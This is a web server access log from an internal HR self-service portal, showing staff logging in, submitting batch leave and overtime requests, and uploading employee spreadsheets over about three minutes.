192.168.11.70 - - [05/Dec/2025:08:37:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [05/Dec/2025:08:37:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:37:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [05/Dec/2025:08:37:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:37:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [05/Dec/2025:08:37:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:37:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [05/Dec/2025:08:37:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:37:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.71 - - [05/Dec/2025:08:37:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:37:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [05/Dec/2025:08:37:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:37:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:38:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9734848808625247 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9734848808625247 HTTP/1.1" 200 13560 192.168.11.71 - - [05/Dec/2025:08:38:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26239171932058925 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:38:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26239171932058925 HTTP/1.1" 200 8456 192.168.11.70 - - [05/Dec/2025:08:38:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9734848808625247 HTTP/1.1" 200 15742 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9734848808625247" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9734848808625247 HTTP/1.1" 200 15742 192.168.11.70 - - [05/Dec/2025:08:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.70 - - [05/Dec/2025:08:38:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:38:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.71 - - [05/Dec/2025:08:38:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26239171932058925 HTTP/1.1" 200 10641 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26239171932058925" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:38:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26239171932058925 HTTP/1.1" 200 10641 192.168.11.70 - - [05/Dec/2025:08:38:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.71 - - [05/Dec/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4203 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4203 192.168.11.70 - - [05/Dec/2025:08:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23173148819162304 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23173148819162304 HTTP/1.1" 200 13560 192.168.11.70 - - [05/Dec/2025:08:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23173148819162304 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23173148819162304" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23173148819162304 HTTP/1.1" 200 15732 192.168.11.70 - - [05/Dec/2025:08:38:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [05/Dec/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:38:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:38:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:39:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593 HTTP/1.1" 200 5264 100.64.0.1 - - [05/Dec/2025:08:39:16 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [05/Dec/2025:08:39:16 +0800] "\x03" 501 203 192.168.11.70 - - [05/Dec/2025:08:39:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593 HTTP/1.1" 302 - 192.168.11.70 - - [05/Dec/2025:08:39:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9048271778685593" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 192.168.11.70 - - [05/Dec/2025:08:39:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 192.168.11.70 - - [05/Dec/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:39:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:39:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [05/Dec/2025:08:39:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [05/Dec/2025:08:39:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:39:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:39:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [05/Dec/2025:08:39:54 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:39:54 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384 HTTP/1.1" 200 5264 192.168.11.144 - - [05/Dec/2025:08:39:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:39:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [05/Dec/2025:08:40:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:40:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [05/Dec/2025:08:40:02 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:02 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384 HTTP/1.1" 302 - 192.168.11.144 - - [05/Dec/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [05/Dec/2025:08:40:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13523 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.573565474218384" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13523 192.168.11.70 - - [05/Dec/2025:08:40:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [05/Dec/2025:08:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132739%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132739&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132739%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132739&target=iframe HTTP/1.1" 200 3251 192.168.11.70 - - [05/Dec/2025:08:40:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132739 HTTP/1.1" 200 5531 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132739%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132739&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132739 HTTP/1.1" 200 5531 192.168.11.70 - - [05/Dec/2025:08:40:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132739&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16493 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132739" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132739&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16493 192.168.11.70 - - [05/Dec/2025:08:40:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - 